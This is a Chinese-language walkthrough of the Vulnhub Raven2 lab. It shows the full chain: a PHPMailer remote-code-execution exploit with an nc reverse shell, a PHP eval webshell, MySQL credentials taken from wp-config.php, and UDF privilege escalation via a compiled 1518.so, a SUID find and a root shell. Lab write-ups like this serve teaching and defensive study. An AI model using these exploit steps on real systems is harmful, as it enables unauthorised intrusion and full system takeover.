什么是UDF:
UDF(Userfined function)用户自定义函数,是MySQL的一个扩展接口,用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用。
提权条件:
- 知道MySQL用户名和密码,可以登录
- MySQL有写入文件权限,即 secure_file_priv 的值为空
注意:使用 UDF 提权是在获取到 webshell 的前提下,获取到的用户只是网络服务权限 www 或其他普通用户,我们可以利用 mysql 的 UDF 提权获取到管理员权限。
如何使用UDF提权
-
MySQL版本 >= 5.1版本:udf.dll(udf.so)文件必须放置于MySQL安装目录下的 lib\plugin 文件夹下
-
MySQL版本 < 5.1版本:udf.dll 文件放置于 c:\windows 或者 c:\system32
如果目录不存在则利用 NTFS 数据流创建文件目录
udf提权可以用于 windows 系统(udf.dll)也可以用于linux平台(udf.so)。但 udf 提权基本上用于 windows 系统,linux系统中 mysql版本 < 5.1 udf.so 该放哪里网上查找也没有得到结果。
靶场复现
通过 vulnhub 下载靶场镜像
靶机地址:https://download.vulnhub.com/raven/Raven2.ova
- 攻击机kali(192.168.111.129)
- 靶机Raven2(192.168.111.132)
信息收集
nmap扫描端口开放情况
nmap 192.168.111.132 -sV -p- -Pn
发现开放了22,80,111,58686端口,操作系统为Linux。
访问80端口:
dirsearch 扫描一下目录:
发现靶机是 wordpress (可以用wpscan扫描有没有wordpress漏洞)。
此外还发现另外一个目录/vendor目录,访问目录发现存在信息泄露
通过 README.md 文件得知为 phpmailer,百度 phpmailer 知道是一个php发送邮件的程序,且版本小于 5.2.18 存在漏洞远程命令执行漏洞,查看当前 version 版本为 5.2.16
phpmailer漏洞利用
使用 python 脚本,复制脚本到桌面,将 target 改为目标IP,后面拼接 contact.php(该文件应该是PHPMailer服务接口),backdoor 为生成的后门文件,payload 改为 kali 的 ip 和监听的端口,email那把路径改为目标的网站根目录,可以在 /vendor/PATH 中找到。
修改完成后执行。
python 40974.py
先开启 nc 监听接收shell,然后浏览器访问生成的后门文件,终端回显,getshell成功。(这里后门文件名应该有限制,默认生成不了,改为1.php后成功了)
执行 whoami 发现为 www-date 权限
使用 python 执行交互式 shell
python -c 'import pty;pty.spawn("/bin/bash")'
也可以写一句话用菜刀蚁剑连接方便操作
echo '<?php @eval($_POST['s']);?>' >2.php
进入wordpress目录内查看wp的配置文件wp-config.php,发现数据库用户名与密码。
账号 root,密码 R@v3nSecurity
使用得到的用户名密码登录mysql
mysql -uroot -pR@v3nSecurity
在user表中发现了其他用户名与密码,但是加密的密码没有破解出来。所以换个思路尝试下UDF提权。
MySQL-UDF提权利用
首先查找漏洞,并下载漏洞利用脚本1518.c
searchsploit udf
searchsploit udf -m 1518.c
下载 udf 提权脚本,在 kali 使用 gcc 编译成 Linux 所需 udf 提权的so文件。
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o
将编译后的1518.so上传到靶机 /tmp 目录内。
python3 -m http.server 8888
wget 192.168.111.129:8888/1518.so
登录 mysql 切换数据库 wordpress 并创建新表 foo。
create table foo(line blob); #创建数据表
insert into foo values(load_file('/tmp/1518.so')); #读取 1518.so 并将其保存在表foo中
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
#查询刚才添加的数据,保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)
create function do_system returns integer soname '1518.so';
#加载 1518.so 函数文件用来创建自定义函数,类型是integer,soname 别名
select * from mysql.func; #查询函数是否创建成功
select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。
select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。
准备工作完成后退出数据库,使用find命令进行提权。
mysql> quit
find / -exec "/bin/sh" \;
#find /:从根目录开始查找。
#-exec:表示对找到的每个文件执行后面的命令。
#"/bin/sh":这是要执行的命令,即启动一个新的 shell 实例。
#\;:表示 -exec 命令的结束。
根据结果可以看到提权成功